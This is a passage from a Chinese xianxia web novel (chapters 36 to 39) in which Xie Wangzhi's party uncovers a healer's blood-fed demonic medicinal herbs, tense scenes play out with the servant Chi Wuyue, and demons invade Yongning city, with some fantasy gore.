许二公子这话似乎将初晴惹恼了,少女面色陡沉,本如春日般明媚的面容此刻竟冷如霜雪,双目眯起,紧盯着对方手里正在研磨的药碗。 过会儿,她竟是大步上前,猛地用力挥袖,将许二公子手里的东西尽数扫落地面,传来一阵闷响。 只见圆形的石制药碗骨碌碌在地上滚了好几圈,里面磨了一半的东西洒落在地,那股混着血腥气的草药味一瞬间更加浓郁呛鼻。 谢妄之闭气仔细看去,只见一滩色泽浓郁的浑浊液体中,飘着几片还没来得及捣碎的草叶与一些植物根须,还有一团融在一起,根本看不出原来是什么东西的猩红色残渣。 结合他嗅到的那股血腥气,谢妄之猜测那团东西是碾碎的肉末。 将那药碗扫落地面不够,初晴姑娘紧接着抬手,狠狠扇了对方一巴掌! 第36章 公子能再摸一模奴么?…… 一记响亮的耳光在静谧屋中回荡,许二公子被打得猛偏过头,脸颊高高肿起,浮出一个鲜红的掌印。 他转过脸,拇指擦去唇边的血迹放到眼下一看,冷笑了声,道:“许大小姐若要撒泼,就滚回许家去撒。我这儿庙小,容不下您这尊大佛。” “许青山!”许初晴面色更沉,伸手指着地上那滩浑浊液体,气得咬牙切齿,指尖微微发抖,“你以为,你弄出来的那些东西,真的能救人吗?你以为你这么做,阿娘她——” “住口!” 似是戳到内心伤处,许青山猛然低吼出声,脸颊与脖颈通红一片。他外表本是温润文弱的君子模样,此刻的神色竟显得狰狞。 见许初晴抿紧嘴唇,他深吸口气强迫自己冷静,随即又轻轻勾唇,笑容中带着些冰冷的嘲讽: “是,青山不如大小姐医术高明,只会投机取巧,整日钻研些歪门邪道。而我们的大小姐,志在悬壶济世,在炼药大比中摘得桂冠后毅然离家出走,将少家主之位拱手相让,更衬得青山不思进取,毫无医者仁心。但是呢……” 说及此处,许青山微微眯眼,嗓音压低,语气更锋锐:“最后陪伴在阿娘身侧的,是我!阿娘卧病在榻,终日昏睡,仍在梦中不停喊你的名字。而你呢?你在哪!” “我、我当时哪赶得回来?”许初晴有些心虚地微垂下头,却又忍不住反驳,“我要是走了,那人可就没命了。” “呵。那人要没命了,那阿娘呢?”许青山又冷笑了声,“所以在你眼里,阿娘的命,比不上别人的命吗?” “……”许初晴沉默地抿紧嘴唇。 都是人命,哪分什么轻重贵贱。这如何能比呢? 许青山又笑,眼眶却微微泛红,咬牙切齿地续道:“我真不明白,凭什么她就只念着你。那时候,你哪怕、哪怕是早一日回来呢?若是有你在,她都不会——” 话未说完他便莫名止住,又抬手掐揉眉心。 空气一时静默,许初晴本想说“不是还有你在吗”,但刚张开嘴又闭上了。 许青山的医术并不比她差,生性内敛喜静,总是待家里侍弄花草、研究药材。就算是家里出了什么事,许青山一人也足以应付。正因如此,她放心离家。 后来阿娘病重时,许初晴正在外头义诊。终于得闲去信局取信时,她才刚刚救下一个人的性命。 未想到,那封信是许青山给她寄的,说阿娘命在旦夕,催她归家。但落款时间距她取信时已过了足足十一日。 信使送件途中本就要耗些时间,她还因专注给人治病,没有第一时间去信局取信,于是又耗了些时日。 之后任是她昼夜不歇地赶路,到家时仍没来得及见上阿娘最后一面。 造化弄人,偏生就是那么巧,阿娘在她归家前夕合的眼。 其实阿娘年事已高,身上的病痛都是年轻时落下的,很难根治。最后能撑那么长时日,许青山一定付出了许多努力。 但许青山总是自觉差她一等,又给自己太多压力,将阿娘的死归咎于她未能及时回来,也归咎于自己学艺不精。 后来他大概是心生偏执,竟是开始捣鼓些旁门左道,也与许初晴一般,离家四处义诊。虽然用的法子也能救人,但总是要付出些代价,甚至不知怎么弄得一身修为尽废,实在令人担忧。 他们二人也自此决裂,从前还常常一块儿研究或是交流行医心得,现在只要碰面,就是像这样大吵一架。 但许初晴此番寻他确实有事。 见对方那副痛苦的模样,许初晴知晓他定是相当自责,便自觉闭上了嘴。但过了会儿她又憋不住道:“难道这就是你用那东西制药的理由么?” “为什么不呢?”许青山放下手,抬眸看她,神色恢复平静,唇角微微勾着,“作用快,效果好,几乎没有什么是它治不好的。这不是能救更多人么?难道这不是大小姐希望的吗?” “世上怎会有这样美的事!”许初晴不由眉心紧锁,“你清楚这样做的代价么?” “呵,我认为这很划算,不劳您费心。” 许青山不以为意地冷笑了声,向洒落地面的那滩浑浊液体走去,躬身屈膝,拾起药碗,指尖拈起那些东西一一放回去,同时下了逐客令:“慢走不送。” “……”许初晴攥紧了双拳,到底没再与他纠缠,原路返回。 虽然她还未及说明来意,但就对方这幅样子,她大概也知道结果了。 而蹲在房顶的谢妄之又看了半晌,见后头许青山不停在磨药,磨完便回屋和衣歇下,便也与潜入医馆的另几人悄悄离开。 与此同时,夜风掠过树梢,也带走了几道黑影。 * 客房里,几人围坐桌边分享今晚的发现。 谢妄之将自己看到的与几人说了,又道:“不知他掺进药里的到底是什么东西,得找个人一直盯着他。” “嗯。”白青崖点头,也说出自己的发现,“我潜入了另一间药房,里面所有的药材都有一股很浓重的妖气。我猜测,前去医馆看病的人服下这些药,便沾染了妖气。而你看到的那团肉末,有可能便是来自那只妖。” “嗯,确有可能。”谢妄之表示肯定。 接着轮到池无月:“有一间屋子里有暗室,尽头处传来些声音。但奴不敢打草惊蛇,没有探索太深。按着你们的推测,暗室的尽头可能就藏着那只妖。” 最后是司尘,他微微眯了下眼睛,眸中橙红色泽一闪而逝:“有人一直在暗处盯着我们。不过主人不必担心,他们不会记得今晚发生的事。” “他们是什么人?”谢妄之微微蹙眉,问出口后心头立即浮上一个答案,“伏妖司?” “看装束,应该是的。”司尘点头。 “呵。”谢妄之冷笑了声,手指在桌案有节奏地轻点,“看来,他们定是也牵扯其中,不然不会是那副态度。不过他们到底是图的什么呢?” 许家出身,排行第二的医师,竟要靠歪门邪道治病救人。他到底用的什么方法,会与妖邪牵扯上?而那只妖又是什么妖,分明在帮忙治病,却需要这样遮遮掩掩? 永宁城的伏妖司看来也是知情的,仅仅是因许青山只是靠那只妖治病,并未害人,就这样放过吗?既然如此,何不大方公示,甚至将其纳入管理监督之下?还是说另有所图呢? 还有白日遇见的那个小厮。他身上那个只要说出那日看到什么便会触发的禁制,是谁下的?是那只妖么?当时他到底看见了什么? 谢妄之并未思忖太久,毕竟坐在这里空想也得不出准确答案,还需后面继续探查。 他抬眼见几人还坐着,便道:“今天就先这样,你们都去歇息吧,明日再说。” 话音落下,司尘当即靠过来,伸手牵住他,轻轻摇晃着他的手臂撒娇:“主人,我想和你一起睡,好不好?” 另两人当即沉下脸,没等谢妄之说话就替他冷声拒绝:“不行!” “主人,好不好?”司尘却不理会他们,一双眼只盯着谢妄之,眸中逐渐掺了点橙红色泽。 仿佛要被那双眼吸进去,沉入一片波光粼粼的湖中,谢妄之根本挪不开视线。 眼前忽然落下一只温热手掌将视野挡住,耳畔随即吹来一股湿热的风,响起池无月的声音:“公子想必也疲乏了,还是早些休息吧。” 另两人微微眯起眼睛。 神思一瞬恢复清明,耳后与脖颈肌肤却传来一阵温热的麻痒,令他忍不住轻轻一颤。谢妄之掩饰地轻咳了声,将眼前的手掌摘下来,把人推开些。 这才反应过来,池无月方才竟起身站到他背后,一手轻按在他肩膀,另手覆在他眼前,还倾身凑到他耳边说话,姿态相当亲密。 现下与自己颇有关系的几人时常聚在一起,甚至他总被目击与其中某位的亲近,谢妄之莫名对此越来越感到心虚。 于是他点点头,不着痕迹地避开两道有些迫人的视线,又微抬起下颌道:“嗯,本公子要歇了,全都出去。” “好吧。”司尘委屈巴巴地应了声,又暧昧地眨了眨眼,额顶触角轻轻颤动,“主人好好歇息,若是睡不着,随时叫我哦。” 说着他便起身离开,临出去时趁谢妄之不注意,狠狠剜了池无月一眼。 池无月神色无辜地回看他。 “……嗯。”谢妄之勉强点头应声。 “好好休息。”白青崖冷着脸丢下一句也起身离开。 最后就剩池无月还磨蹭着没动。 谢妄之微向后侧过头,眉峰一挑:“怎么,你还有事?” “没,就是……” 池无月低垂着头看他,虽是居高临下,模样却乖软温驯,白嫩耳廓微微发红,话说得有些磕绊,“公、公子,能再像白日一样,摸一摸奴么?” 说着,对方在他身前跪下,仰起脸看他,嘴唇轻抿起一个讨好的弧度,眼神湿润期待。 第37章 他果然恨意难消。 烛火幽微,映出一张艳绝面庞。 谢妄之垂头看着那张脸,眉峰一挑,忽然心生逗弄之意,便轻轻勾唇,压低嗓音道:“才过了区区半日,你就敢得寸进尺了?” “公、公子!”池无月面色一怔,慌忙低下头,声音微哑,“对不起,奴知错了……” “呵。” 见人深埋着头,谢妄之不由轻嗤一声,唇角弧度扩大些,却满是恶意,“知错什么?谁说本公子不允了?” “公子!”池无月讶异抬头,黯淡双眸又寸寸亮起。 他才不管谢妄之到底是不是存心逗弄,他只知道谢妄之答应了。 唇角抑制不住地勾起来,又矜持地抿住,接着膝行凑近些,伸指轻抓住谢妄之一小片衣摆,仰起头道:“请、请公子……” “呵。” 不等人说完,谢妄之哼笑了声,伸手按在池无月头顶,像抚摸一条狗,来回顺着头发往下摸。 感受到头顶传来的温热,还有微微的压力,仿佛那只手掌直接触到肌肤,激起连片的颤栗酥麻,池无月舒服得忍不住眯起眼睛。 又在那只手轻抚到他侧脸时,下意识把自己贴上去,讨好又乖巧地偏头在人掌心里来回轻蹭。 接着,谢妄之竟又伸出指尖,来回轻轻描摹他的五官,动作缓慢而仔细,一寸寸往下,从眉弓到鼻梁,再到嘴唇。 谢妄之的指腹覆着一层薄茧,触感温热,微微粗砺。仿佛有一只蝴蝶在脸上往返留连,划过时有些酥痒,最后停驻在嘴唇。 池无月神色一怔,随后僵着身体,任由那只手在自己脸上游移,下意识屏住呼吸,又期期艾艾地唤了声“公子”。 他的身体在逐渐升温,直到热烫。水分被蒸发,喉里便生出一股难耐的渴与痒,令他不住吞咽。 四周静谧,胸口跳动如同擂鼓,隐秘的欣喜与期待令他克制不住地幻想,像是燎原的大火,烧得头脑晕眩,只觉脸颊与耳廓都要烫得冒烟。 “感觉如何?”谢妄之低笑问。 “公、公子……” 被人这么一问,池无月顿时觉得自己快要热蒸发了,羞耻地紧抿着嘴唇,也丝毫不敢与人对视,双手十指用力掐紧自己的掌心,试图按捺自己。 但他之前一直被谢妄之故意冷落,好不容易才等来这个时刻,像是久旱逢甘霖,不自觉变得贪婪又饥渴。 接着竟当真得寸进尺。 他又往前膝行两步,身躯几乎挤进对方腿间。双手攥着对方的衣摆一寸寸往上,又不住往里试探。 同时仰着脸看谢妄之,眼神炽热又湿润,故意软着嗓音叫他:“谢妄之……” 谢妄之眉峰一挑,伸手将人按住,似笑非笑:“不是只说了想让本公子摸你?” “奴、奴……” 池无月一怔,顿时羞耻得忍不住低下头。直到闻见头顶传来一声极轻的笑,他对谢妄之此时的表情心生好奇,便强捺住羞赧抬头。 却只见谢妄之面色平静,方才分明是笑了,眼中却无笑意,只有冰冷的讥嘲。接着低声问他:“你那时,为何拒绝我?” “什、什么?”池无月有些反应不过来。 其实在池无月的记忆里,没有谢妄之说的那件事。但他这幅样子,像是心虚推脱,令谢妄之误会。 “呵。” 谢妄之见状又冷笑了声,手指猝然掐着池无月的下颌抬起,眼眸微眯,“本公子不过是心情好了才赏你一点甜头,你当真以为本公子还像以前一样纵容你?” 他本来只是想逗弄池无月而已,可对方的擅作主张、得寸进尺令他不悦,继而又回想起曾经的事。 他曾经也这样对待过池无月,接着就遭到对方拒绝,还被连躲了好几天。 其实这没什么大不了,只是谢二公子生性高傲,眼里揉不得沙子。 从来只有别人求着他赐予、施舍,而别人也只能对此感恩戴德,更不能忤逆。 他也曾试图将这件事放下,可事实是他无论如何都做不到。 分明感觉白日才想通了些,可到夜晚时他又觉得受不了。 他可以找理由说服自己,那个梦有可能是假的,但是过去的经历做不得假。何况其实他不认为那个梦是假的,尽管与现实有些差别。 难道他之前对池无月不好吗? 池无月到底对他是真心还是假意? 既然贱奴胆敢拒绝他,又凭什么敢再向他讨要? 凭什么贱奴不想就可以拒绝,现在想要了,他就要给? 他果然恨意难消。 不等池无月反应,谢妄之便甩开手,冷声道:“滚出去。” * 第二日,池无月被谢妄之安排去盯着许青山。倒不是非得他去,只是谢妄之又不想看见他了。而池无月不敢有异议。 其余几人继续上街探查,竟偶然遇见了许初晴。 少女一如既往如春日般明媚,蹲在一条巷口,搀扶着一个跌倒的老人站起身。 对方连连向她道谢,她微笑着摆手,说要给老人家检查身体,以防哪儿磕碰。 未想到,老人家摆手拒绝道:“不用不用,老婆子我现在身体好着呢。都是多亏了那位许神医,他给我开的方子太管用了,感觉老婆子我像是年轻了几十岁。” 说着,老人家亲切地拉着许初晴的手,另一手拍着她的手背,笑眯眯道: “小姑娘,你不要以为老婆子是在夸大。许神医说了,那方子可以强身健体,延年益寿,百病不侵,老婆子还打算给孙儿也抓一副呢。小姑娘人美心善,老婆子实在喜欢,要不我便把这方子给你?” “啊不用不用,奶奶自己留着便好。”许初晴神色一怔,连连摇头摆手推拒。 “哎呀,客气什么!来,收好,对身体有好处的。” 对方却当她客套,非要将那药方子给她,往她手里塞,一边塞一边嘱咐:“你若是要抓药,千万记得只能去许神医那儿,去早去晚都不行,有的东西别处可买不到。” “哎,不用不用,哎哎!哎!!”许初晴推脱不了,只好收下,没有与老人再争执,“那、那就谢谢奶奶了。奶奶要去哪,我送你过去吧。” “不用不用,老婆子就是去听戏,前面再走一段就到了,小姑娘忙你的去吧。”对方摆摆手,自顾走远了。 而谢妄之几人看见的,就是许初晴与老人家争执了一番,最后攥着那张药方子,有些茫然地站在原地的样子。 等他们走近了,许初晴才回过神,一见谢妄之,双目一亮,几步迎上来,微笑道:“谢公子,好久不见,你们怎么也到永宁来了?” “嗯,白家给了任务,来捉妖。”谢妄之点头。 “捉妖?永宁也藏着妖么?”许初晴轻轻挑眉,说着她忽然似是想到什么,微微笑了一下,没再多说。 谢妄之伸手指了指对方手中的方子,“我方才看见你和一位老人家在争着什么?” “哦,这个,是那位奶奶执意要送我的药方,说是许神医开的,能强身健体。” 许初晴说着,低头看了眼手里的药方子,快速阅览了一下,随即眉头轻轻一蹙。 “怎么,是有什么问题么?我记得初晴姑娘也是医修。”谢妄之也想看那张方子,看看是不是能发现些什么。 但许初晴将药方子折了两折,收进了袖中,又冲他微微欠身:“初晴想起来还有些事,后面若有闲暇再与谢公子叙旧,先走一步。” “姑娘稍等。”谢妄之伸臂把人拦住,微笑问,“姑娘可是要去找那位许神医?” “你怎么知道?怎么了?”许初晴有些不解。 “那方子是有什么问题么?可否将方子借我一阅?” “……”许初晴当即蹙起眉心。 谢妄之见对方起疑,只好道:“实不相瞒,我们正在追查的那只妖,很有可能潜伏在许神医的医馆中,甚至与许神医有千丝万缕的关系。” 未想到许初晴眉头蹙得更深,斩钉截铁道:“他不可能害人!” “姑娘为何如此笃定?”谢妄之眉峰微挑,故意问,“难道初晴姑娘与那位许神医是旧识么?” “……”反应过来自己失言,许初晴叹了口气,又觉告诉他们也无妨,便简单地介绍了一下他们的关系。 接着又道:“其实我此番前来,就是为了找他共同商讨研究西北瘟疫的治疗方法,但是他现在——” 许初晴话未说完便止住,接着忍不住又叹了口气。 而谢妄之替她把话接了下去:“他现在借助妖邪的力量在治病,恐怕不愿意与你合作?” “……是。”许初晴讶异地挑眉,也大方承认。 “不若我们合作?”谢妄之终于说出自己的目的。 “你们这是要……?”许初晴有些迟疑,但到底是点了点头,“行。” * 到夜晚,谢妄之几人加上许初晴,几人再度潜入医馆,找到池无月发现的那处暗室。 许青山在入口谨慎地设了迷阵,好在池无月已成功破解过,几人没有花费太多时间。 未想刚一进去,便听见尽头处传来许青山的声音。 第38章 祸起 谢妄之几人对视一眼,收敛气息继续往前,同时凝神细听尽头处传来的动静。 不知许青山在与谁说话,又像是自言自语,声音听起来有些虚弱,有气无力的:“怎么越要越多了?若是再这样下去的话,咳咳……” 与说话声音同时传来的,还有一阵水珠滴落的声响,啪嗒啪嗒,不知是落在地面,还是浇在什么东西上。 片刻后,水声停止,又传来一阵布料摩擦的窸窣声,随后是一道抽刀的铮然声响。 接着是刀剑入肉的噗呲声,一阵响亮如婴孩啼哭的惨叫紧随其后,在整个空旷的暗室中回荡,仿佛能撕裂耳膜。 谢妄之几人神色一凛,而许初晴陡然睁大眼,瞳孔颤动着收缩,不可置信的模样,竟是捺不住,从暗处走出,大步向着声源处行去。 余下的人相视一眼,没有拦着,也跟着靠近,却仍藏在暗处,静观其变。 许初晴大步走向许青山,满脸愤怒与失望。 却见许青山背对着她站在桌边,手里不知道正忙活着什么。 桌案边又摆了一圈架子,上边搁满了各种各样的瓶瓶罐罐,而地上是一盆又一盆奇形怪状的植物。 一股浓郁的血腥气扑面而来,呛得她忍不住反胃干呕。 而她以为的什么凶杀血腥场面根本没有,甚至找不到方才发出婴孩啼哭的受害者。 闻见足音,许青山回过头,脸色苍白似鬼。他停下手里的动作,转过身。大概是因为动作太急,头脑晕眩,便伸手撑着桌案缓了一会儿,这才抬头。唇角扯了一下,似乎想笑,却没有力气。 他道:“你是怎么进来的?” 许初晴却没答他,蹙眉反问道:“你刚刚在做什么?” 许青山也不答她,只道:“不用你管,出去。” “你的脸色为什么白成这样?你刚刚到底在做什么?” 许初晴又上前几步,却又被浓郁的血腥味刺激得干呕不止,忍不住抬臂掩住自己的口鼻。 见状,许青山忍不住冷笑了声,嘲讽道:“尊贵的大小姐连这点味儿都受不了,还是赶紧滚出去吧。” 许初晴却不管他,目光落在他脚边的“盆栽”上,有些嫌恶地蹙起眉。 弯曲的枝干托起一个硕大饱满的果实,表皮生着一道道褶皱,是浅淡的杏黄色,又带着一点粉,和人类的肤色相近,看起来就像是一张皱巴巴的婴孩的脸。 而婴孩的脸上,一道未干的血迹蜿蜒往下,流入大概是嘴唇的褶皱里。它像是高兴地笑了,两边褶皱微微牵起,连带两只空洞的眼睛都蠕动着,像是弯眸。 而其中一盆大概就是方才被刀砍了的,没了半边脑袋,敞露出内里白花花的一团,唇角两道褶皱不高兴地向下撇。 越是长得像人的东西越可怖。这样的邪物,看一眼都叫人脊背发寒,而许青山却一连养了十来盆,还拿自己的血浇灌。 “你一直把血浇在这些东西上面?你就是养着这些东西来给别人治病?” 许初晴当即怒不可遏,忍不住要伸腿把这些盆栽都踢翻。 边上的许青山见状,眼疾手快地一把将许初晴拉住,又大力将她往外推搡,疾言厉色道:“别碰它们!滚出去!” 但许青山现在身体虚弱,根本没多少力气,许初晴只是被他推了个踉跄,他自己倒先受不住,整个人摇晃了一下,要往边上倾倒。 “你怎么样了?” 虽被粗鲁对待,但许初晴见对方一副要晕厥的样子还是下意识伸手去扶。 大概是真的快晕了,许青山这回没有将她推开,另手按着自己的额头,痛苦地蹙紧眉,闭着眼睛大口喘息。 许初晴见状又是心疼又是生气,忍不住低斥道:“你非要把自己弄成这样才满意吗?” “呵。” 许青山恼了,又强撑着将她推开,双手扶着桌子,低吼道:“它什么都能治,你能吗?!我只恨我没有早点开始养它!唔——” 话刚说完,许青山扶着脑袋痛苦地呻吟一声,终于再撑不住,整个人往后软倒,彻底晕了过去。 “许青山!”许初晴睁大了眼,快步上前把人扶起。 直到此时,藏在暗处的谢妄之几人才现身。 “你去帮她。” “是。” 谢妄之随手一指池无月,自己凑到那些盆栽前近距离地观察。 正欲用手去碰,半途被白青崖攥住手腕制止:“别碰。” “没事,我就试试。”谢妄之缩回手,另手抽出随心,在那张皱巴巴的婴孩脸上划了一道。 果不其然,那邪物又发出快要撕碎人耳膜的惨叫。 “闭嘴!再叫剁了你。”谢妄之不由蹙紧眉,提剑作势要砍。 那邪物竟跟能听懂似的,很快止了哭,战战兢兢地抖着叶子,整张脸更是皱成了一团。 “呵,还挺乖。”谢妄之忍俊不禁,收了剑。 池无月和白青崖闻言不约而同蹙眉瞥他一眼,对他轻易夸一个邪物“乖巧”表示不满。 但谢妄之没管,转头问许初晴道:“初晴姑娘,你认得这些是什么吗?” “……嗯。” 许初晴闻言走到他身侧,垂头看着那些盆栽,眉心紧拧。 她将自己错过母亲最后一面,而许青山最后也没能治好母亲的事情,简单与众人说了。 接着她又叹了一声,捂着额头道:“他一直觉得,没能医治好阿娘是他的错,一直在试图培育出效果更好的药草。好像从那时候开始,他就在养着这些东西了。 “但是那时候,它们还没变成这样,就是普通的药草而已。直到他有一天不小心割破了手,把血滴到它们上面,结果就——” 许初晴不想再说。而谢妄之几人也猜出了结果。 许青山发现被人血浇灌的药草品质更好,于是日日用人血浇灌,或是喂了别的东西,久而久之,竟让这些药草都成了妖。 虽是用来治病救人,但到底是用人血养出来的妖,有没有邪性,最后会不会害人,谁都说不准。 但这些东西目前还没有害人,许青山又对它们宝贝得紧,之后到底怎么处理,还是等他醒来再说吧。 谢妄之想到白日那个药方子,又问:“你白日见过的那个方子有什么问题么?” 到这时候,许初晴已经没什么好隐瞒的了。她点头道:“是,那方子其中一味药材就是来自这些药草。” “这些药草,真的什么都能治么?”谢妄之有些好奇。 “……我不知道。”许初晴揉捏了一下眉心,“不过这些原先确实是很好的药材,不论对凡人还是修者,服用之后都大有裨益。” 修者?谢妄之微微眯了下眼睛。如果对修者也很有用的话,那伏妖司那副态度也可以理解。 “但是,”许初晴又叹了一声,“一直以来,只听过妖吃人,没听过人吃妖。虽能治病,但长此以往,不知道会不会出什么问题。” 而且,就算那些人没问题,许青山的身体撑不住了该怎么办?这些药草若是不喂了,会发生什么? “这倒是。” * 大概是身体长期受累,许青山一连昏迷好几日,谢妄之除了派池无月盯着,也没找到什么与人谈话的机会。 但就连许初晴都说服不了,若是让他们来,也只能是来硬的。 不过后来他们再顾不上这个事儿了—— 不知为何,永宁城竟一夜时间潜入许多妖魔,城中居民死伤甚多,其中包括不少修士。 其实本不应该如此的,只是伏妖司前不久调派人手去了别处支援,自己又疏于防备,这才叫妖邪钻了空子。 但潜入的妖邪,实力确实不低,就连谢妄之他们也没有提前察觉到,更没有办法救下所有人。 这样大的事故,伏妖司难辞其咎。这下他们不敢再用先前那副态度对谢妄之几人了。 而司主更是当着众人的面下跪,几乎是痛哭流涕地道:“求求几位救救永宁吧!” “不是说没妖么?”谢妄之抱臂冷笑。其实不必对方说,他们自然也会帮着除妖。他只是看这司主不顺眼。 对抗妖邪从来不是只有伏妖司、白家的事情,这是所有修仙者共同的义务与责任。 见对方又要哭嚎,一点实事不干,白青崖不耐地把人拂开,有条不紊地下了一系列的命令。 先去开启永宁城四处设下的防守结界,安顿好死伤者与其家属,稳住民心,同时去向周围的城市送求援信。 当然,等待救援的同时,先召集城中可与妖邪一战的修士,暂时加入伏妖司,以补足加强全城的巡逻与防备。 然而,不知过去几日,向永宁城聚集的妖邪越来越多,它们像是被什么东西吸引似的,源源不断。 谢妄之一行人已有些疲惫,逐渐感到力不从心,更不要提别人。死伤者越来越多,战力越来越少。 而送给其他城市的求援信,不知信局送没送到,总之一直没有得到充足的支援。谢妄之对信局的不满又上一层楼,开始琢磨要好好整顿整顿。 所幸零零散散有些修士前来,勉强补足一些,甚至还碰见好些熟人。 譬如崔岫,他还带着那只小犬妖,为其取名“二黄”,说什么贱名好养活。不知一人一妖经历了什么,修为增进许多,成为他们很好的帮手。 众人一致对敌。而医馆内,许青山已经苏醒,和许初晴一起医治被妖邪所伤的居民。 接着,他们竟是在部分伤者身上发现,有人染了与西北瘟疫横行地区一样的病! 第39章 。 医馆里,许初晴再次和许青山争得脸红脖子粗。 “我之前在西北待了那么久,能分不清楚他们这到底是什么病吗!高热、意识不清、出现幻觉,血液中的那几项成分都远超出正常指标,这全都一模一样!” “那你说他们到底是被什么传染的?永宁城离西北多远?我在永宁待了那么久,从未遇见过湿邪症的病例!难道他们是凭空产生的吗?” “我——”许初晴下意识反驳,又猛然止住,神色痛苦地捂住了脑袋。 距瘟疫爆发至今至少半年,她在西北待了两月,依然弄不清湿邪症因何而起,又凭借什么渠道传播,她也始终没有找到能有效治愈病症的方法。 故而瘟疫横行的区域被白家封锁,未经允许,任何人不得擅自出入。 “不!我想起来了……” 许初晴没有接话,空气便沉寂下来,许青山也稍微冷静了些,继而脑中灵光一闪,他想到了什么,面色变得难看。 “我曾经接诊过一个镖师,他的症状和染了湿邪症差不多。” “你是说……?”许初晴猛地抬头看他。 “不。”许青山摇摇头,面色微白,手指攥紧了些,“那是几个月前的事了。” 许初晴微微蹙眉,没有接话。 许青山继续道:“他来找我看过两次病,第一次是他自己来的,只是老毛病犯了。第二次是他的家人送他过来的,他当时已经神志不清了,症状就跟你说的湿邪症差不多。 “我两次都给他开了药,用的是我养的那些。一般来说都能治,除非……” 想到镖师的家人来取药时发生的那场意外,许青山的手指不由攥得更紧。 那时候他用妖邪治病的事被伏妖司的人知晓,对方要他交出自己辛苦栽培的药草,他当然不肯,便与他们据理力争。 他向伏妖司的人演示自己如何取药、制药,又向他们证明制成的药当真可以治病,效果也很好。 但出乎意料的是,伏妖司的人好像并不关心他辛苦养出来的东西会不会害人,只问“对修者有没有用,效果如何”。 答案显而易见,伏妖司的人很满意,答应放过,但条件是他每隔几日都要送些“贡品”过去。他答应了。 但未想到,有人在医馆开门之前就溜了进来,藏在暗处,目击了这一切。 目击者其实只是个普通的凡人,大概是因为每日来医馆求诊的人太多,总要排队许久,便提前进来蹲守。 但实在很不凑巧,他目击了一场不甚光彩的交易现场。伏妖司的人毫不犹豫出手,竟当场就抹了他的脖子。 未想到本该坚决捍卫正道、为民除害的伏妖司,竟视凡人的性命如草芥,杀人不眨眼。 他心神俱震,也不忍,动用禁术令那个凡人起死回生,用药草涂在被割开的咽喉,令致命伤处愈合。 伏妖司的人见状并未阻拦,只是笑了笑,语气嘲讽地说一句“许家人果然医者仁心”。 但伏妖司并未完全放过那个凡人,在他身上下了禁制。只要那个凡人胆敢说出当日看见的东西,他会再死一次。 但之后,那个凡人不知为何再没来取过药。许青山每日要接诊的病人那么多,实在忙碌,哪能天天惦记着一个不主动遵医嘱、治疗态度相当不积极的病患,渐渐就将这件事淡忘。 直到今日,他忽然想起来,或许永宁城中早就存在一个湿邪症的病例。而正因为他没能将其治愈,放任其将病症传染了别人。但为何时至今日才爆发?还是说……? 许初晴见他蹙眉思忖,还想再问什么,外头忽然传来一阵轰然声响,浓郁的妖气弥漫开来,几乎化作实质,空气中流淌着数条黑色的丝线。 两人神色一凛,当即大步出去,却见院中笼着一大片深浓雾气,数道黑影在其中若隐若现,亮起几双猩红色的眸。 妖邪咧开嘴,凭空指了指许青山的方向,嘶哑着道:“你身上,有很好吃的香味……” * 时值秋末,天色暗得越发快。黑色的纱帐笼下,一只只乌鸠漫天乱飞,沾着污浊气息的鸟羽如雪般飘落,却能将地面缓慢腐蚀出一个坑洞。 谢妄之手臂向前一挥,身后凝出的数十道冰剑电射而出,化作流光冲天而去,一瞬间连续穿透了数十只乌鸠,将其击落在地。 重复几次之后,这一片天空大概被清理干净,很快有伏妖司的人上前去收拾残局。谢妄之则离开这片区域,前往下一个目的地。 入侵永宁城的妖邪数目众多,源源不断,但好在它们似乎没有组织,只要后备资源与战力补足,应该没有大碍。 正这般想着,前头忽有人跌跌撞撞跑来,扑倒在他近前,粗喘着气大叫道:“谢、谢公子,不、不好了,医馆、医馆……” 他实在跑得太急,话说得磕绊,但很明确说了“医馆”二字。谢妄之眼神一凛,没等他继续说完,当即飞速往医馆去。 其实那个人没说是哪家医馆,但谢妄之直觉就是许青山的医馆,便径直过去。 连日来的战斗令许多人负伤,还有好些伤得太重,昏迷不醒,只能留在医馆中密切关注治疗。 只见浓稠的黑色雾气将整座医馆环绕,空气中充斥着浓郁到令人作呕的血腥味,还不时传来令人浑身颤栗的皮肉撕扯声与骨裂声,随后是一阵咀嚼与吞咽声。 他心头涌起不好的预感,大步走入雾中,只见道旁蹲着好几只妖邪在分食人类,一个捧着一条胳膊,一个撕扯下大腿,还有一个正伸手在被剖开的胸膛里翻来覆去地挑拣,血水与肠子淌了一地。 谢妄之毫不犹豫出手,随心剑化作流光瞬息间将妖邪尽数歼灭,从门口一路杀到内里。 正看见许初晴二人被黑色的雾气包拢其中,一道冲天火光将雾气劈碎,清晰露出崔岫的身形,过会儿那雾气又合拢,将里面的人包拢得密不透风。 “谢兄!救命啊!”黑雾裂开一瞬间,崔岫便眼尖发现了他,立即扬声高喊了句,声音听起来十分沙哑,似乎已经到了极限。 谢妄之疾步走近,催动随心射出,却在半途忽被数道黑影拦住。各个有着一双殷红眼睛,苍白皮肤,乌发缭乱飞舞,周身裹满浓郁妖气,将他包围。 不给他丝毫反应时间,妖邪隐在雾中,却又陡然在他近前出现,伸长了头发袭向他的面门! “谢兄小心!” 似乎知道谢妄之才是最难缠的,原先包围着崔岫他们的妖邪竟转头合力对付谢妄之,崔岫见状忙扑上来要帮他。 却见数道寒芒一闪而逝,攻向谢妄之的头发在瞬息间被尽数切碎,纷纷扬扬飘落在地。 一时间周身响起一阵厉鬼哭嚎般的声音,叫人毛骨悚然。 而后,那些黑影又隐在雾中,猩红色的双眼如灯笼一般明明灭灭。 见状,谢妄之扫了一圈,双眼微眯,陡然竖指一抬,随心高飞半空,瞬息化作千万道剑影,如雨丝一般落下。 黑影像是被溶解了,体积一点点缩小,鬼哭般的声音不绝于耳,几乎要撕裂耳膜。 绝对的实力碾压之下,这些东西毫无悬念被谢妄之尽数歼灭。不是崔岫实力太弱,只是单纯的杀敌比一面保护弱小一面杀敌要简单许多。 “许青山!” 谢妄之正收了剑,忽听到许初晴那边传来声嘶力竭的吼声。 原来是有一条漏网之鱼,做鱼死网破的争斗,临死之际猛地扑咬向了许初晴。 而边上的许青山眼疾手快将她一把推开,以身代之,几乎被咬下了半个肩膀,血液一瞬如泉喷涌,身体摇摇欲坠,猛地往旁侧倾倒。 许初晴目眦欲裂,下意识伸手把人接住,两人却一起跌倒在地。 但那道黑影也用尽了最后力气,当即灰飞烟灭。 许初晴抖着手给许青山做急救,却被人抓住手制止。她反手把人挥开,治愈的法术一个接一个丢出来,却见收效甚微。 